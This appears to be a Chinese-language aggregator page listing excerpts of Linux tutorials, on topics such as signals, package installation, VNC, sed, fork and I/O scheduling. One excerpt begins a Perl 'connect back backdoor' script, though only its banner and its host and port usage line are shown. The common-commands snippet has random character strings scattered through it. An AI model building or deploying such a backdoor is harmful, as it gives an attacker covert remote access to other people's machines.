Linux的訊號處理

From: http://blog.csdn.net/guosha/archive/2008/09/17/2943615.aspx Linux為實現訊號處理提供了比較多的介面,看似紛雜,但理清訊號的關係後還是很有條理的。主要分為以下四組,怎麼發送一個訊號,收到一個訊號後做什麼樣的處理,主動等待一個訊號的發生,對特定訊號只記錄是否發生供以後再處理;四組的API如下(不考慮多線程):發送訊號 kill, alarm, arise; 安裝訊號 signal, sigaction;等待訊號

linux head.s 詳解

上一篇是boot.s,這是head.s。關於head.s的作用為head.s程式運行在32位保護模式下,其中主要包括初始設定的代碼、時鐘中斷int

linux下安裝protobuf教程+樣本(詳細)

1 在網站 http://code.google.com/p/protobuf/downloads/list上可以下載 Protobuf 的原始碼。然後解壓編譯安裝便可以使用它了。安裝步驟如下所示: tar -xzf protobuf-2.1.0.tar.gz  cd protobuf-2.1.0  ./configure --prefix=/usr/local/protobuf make  make check  make install   2 > sudo vim

(帥)如何利用VNC遠程圖形介面控制Linux

如何利用VNC遠程圖形介面控制Linux  Windows下面的遠程圖形介面的控制大家都已經駕輕就熟了。其實Linux下面利用vnc來圖形介面的控制也是非常簡單的。VNC是由兩部分組成:一部分是用戶端的應用程式(vncviewer);另外一部分是伺服器端的應用程式(vncserver)。   以redhat linux 8.0下面的安裝和使用為例   一、安裝vnc的rpm包   1.安裝linux   1.1 圖形介面下的安裝要是在KDE或者GNOME下,直接點擊rpm包,系統會自動開始安裝。

linux下的一個後門

#!/usr/bin/perl# Connect Back Backdoor by Ch3m0nZ# Viva Satanic Soulsuse Socket;print "Connect Back Backdoor by Ch3m0nZ - Satanic Souls/n/n";if (!$ARGV[0]) { printf "Alvo: $0 [Host] <Port>/n"; exit(1); }print "[*] Enviando

FreeBSD和linux下解決apache錯誤:apr_sockaddr_info_get() failed for freebsdla

在Linux下安裝完Apache 2.2.6,啟動HTTP服務就報錯,似乎不影響服務的使用,但是也挺彆扭的。-------------------------------------------------------------------------------------[root@linux http]# ./apachectl starthttpd: apr_sockaddr_info_get() failed for

安裝VMWARE TOOLS的禁忌和技巧(LINUX和WINDOWS)

redhat9下安裝VMware Tools下面是安裝步驟:1.啟動Rad Hat 9.0(圖形介面方式登陸),並且以管理員的身份登陸。2.在VMware虛擬機器的菜單中點擊:虛擬機器->安裝VMware 工具->install。3.Red Hat 9.0自動掛載VMware Tools的虛擬光碟機,並顯示在案頭。4.進去VMware

linux上裝lighttpd的過程

wget http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gztar zxvf fcgi-2.4.0.tar.gzcd fcgi-2.4.0./configuremake&&make installwget http://www.lighttpd.net/download/lighttpd-1.4.18.tar.gztar zxvf light*.tar.gzcd light*./configuremakemake instalcp doc/

linux下如何製作滑鼠主題

1.準備圖片把滑鼠分為動態和靜態兩種,動態如等待狀態的滑鼠,大部分滑鼠是靜態動態:動畫的幀數x大小的種類數靜態:大小的種類數2.寫conf檔案內容格式為:<size> <xhot> <yhot> <filename>

Linux RPM 命令參數使用詳解 查看 rpm包依賴性

rpm 執行安裝包二進位包(Binary)以及原始碼包(Source)兩種。二進位包可以直接安裝在電腦中,而原始碼包將會由RPM自動編譯、安裝。原始碼包經常以src.rpm作為尾碼名。常用命令組合:-ivh:安裝顯示安裝進度--install--verbose--hash-Uvh:升級軟體包--Update;-qpl:列出RPM軟體包內的檔案資訊[Query Package list];-qpi:列出RPM軟體包的描述資訊[Query Packageinstall

[sed] linux sed 批量替換字串

原文載於:http://bbs.linuxtone.org/thread-1731-1-1.html比如,要將目錄/modules下面所有檔案中的zhangsan都修改成lisi,這樣做:sed -i "s/zhangsan/lisi/g" `grep zhangsan -rl /modules`解釋一下:-i 表示inplace edit,就地修改檔案-r 表示搜尋子目錄-l 表示輸出匹配的檔案名稱這個命令組合很強大,要注意備份檔案。(1)sed

linux socket 下select() 判定檔案可讀或寫

select()的機制中提供一fd_set的資料結構,實際上是一long類型的數組,每一個數組元素都能與一開啟的檔案控制代碼(不管是Socket控制代碼,還是其他 檔案或具名管道或裝置控制代碼)建立聯絡,建立聯絡的工作由程式員完成,當調用select()時,由核心根據IO狀態修改fd_set的內容,由此來通知執行了select()的進程哪一Socket或檔案可讀,下面具體解釋:int select(nfds, readfds, writefds, exceptfds, timeout) int

Linux系統啟動過程詳解

1)BIOS自檢2)啟動Grub/Lilo3)載入核心4)執行init進程5)通過/etc/inittab檔案進行初始化6)登陸Linux1)BIOS自檢  a)POST(Power On Self Test),對硬體進行檢測  電腦在通電後首先由BIOS進行自檢,即所謂的POST(Power On Self Test),對硬體進行檢測  依據BIOS內設定的引導順序從硬碟、磁碟片或CDROM中讀入"引導塊"      在PC中,Linux是從BIOS中的地址0xFFFF0處開始的 

linux常見命令的列表

文章目錄 linux常見命令的列表 linux常見命令的列表命令 描述 $GusVpFs#I^Y4_  • apropos word 顯示和word相關的命令。 參見安全執行緒 7t+EM(e)Y  which command 顯示命令的完整路徑名 ,lm^jP"/!q  time command 計算命令啟動並執行時間 qh.|cV)BTA]Q  • time cat 開始計時. Ctrl-d停止。參見sw

VMware下升級linux核心篇

一.由於linux在教育網下不藉助任何加速工具,上網真叫一個慢,所以想在linux下與Windows共用資料夾,來使用先前下好的一些東東!要做到這點,你需要以下幾步:      1.   mount   /dev/cdrom   /mnt/cdrom     2.   VM菜單有一個install   vm   tools進行安裝     3.   之後/mnt/cdrom裡面就會有兩個檔案,一個是rpm檔案,一個是*.tar.gz檔案,把rpm檔案安裝,再用tar解壓縮*.tar.gz的檔案,

sybase ASE在unix&linux上的自動備份指令碼

以下操作均由sybase使用者來做:建立一個指令檔,譬如/sybase/script/dump.sh類容如下$ cat dump.sh/sybase/OCS-12_5/bin/isql -Usa -P******* -S******* -i /sybase/script/dump.sql -o /sybse/script/dump.logmv /caiwubackup/backup/cwbase1.bak /caiwubackup/backup/cwbase1_`date

x264在2440開發板linux下使用和.264檔案的播放

Arm9-linux-2.6.30.4X264進行yuv420視頻轉換。 進行各種嘗試結果出錯:[root@EmbedSky /media]# ./x264 -o qq.264 foreman_qcif.yuv 176X144raw [error]: raw input requires a resolution.x264 [error]: could not open input file `foreman_qcif.yuv' 然後再網上看到一段經典的話:raw [error]: raw

Linux fork 詳解

http://blog.csdn.net/fuyangchang/article/details/2101085 #include <unistd.h>;#include <sys/types.h>;main (){        pid_t pid;        pid=fork();        if (pid < 0)                printf("error in fork!");        else if (pid == 0)   

linux的CFQ調度器解析(1)

CFQ調度器是四種IO Scheduler中最複雜的一個,redhat有個文檔可以做為入門的文檔先瞭解下 red-hat-enterprise-linux-5-io-tuning-guide.pdfThe cfq scheduler maintains a maximum of 64 internal request queues; each process running on thesystem is assigned to any of these queues. Each time a

Linux裝置驅動之ioctl控制

大部分驅動除了需要具備讀寫裝置的能力之外,還需要具備對硬體控制的能力。 一、在使用者空間,使用ioctl系統調用來控制裝置,原型如下:int ioctl(int fd,unsigned long cmd,...);/*fd:檔案描述符cmd:控制命令...:選擇性參數:插入*argp,具體內容依賴於cmd*/使用者程式所作的只是通過命令碼告訴驅動程式它想做什麼,至於怎麼解釋這些命令和怎麼實現這些命令,這都是驅動程式要做的事情。二、驅動ioctl方法:int (*ioctl) (struct

總頁數: 3662 1 .... 362 363 364 365 366 .... 3662 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.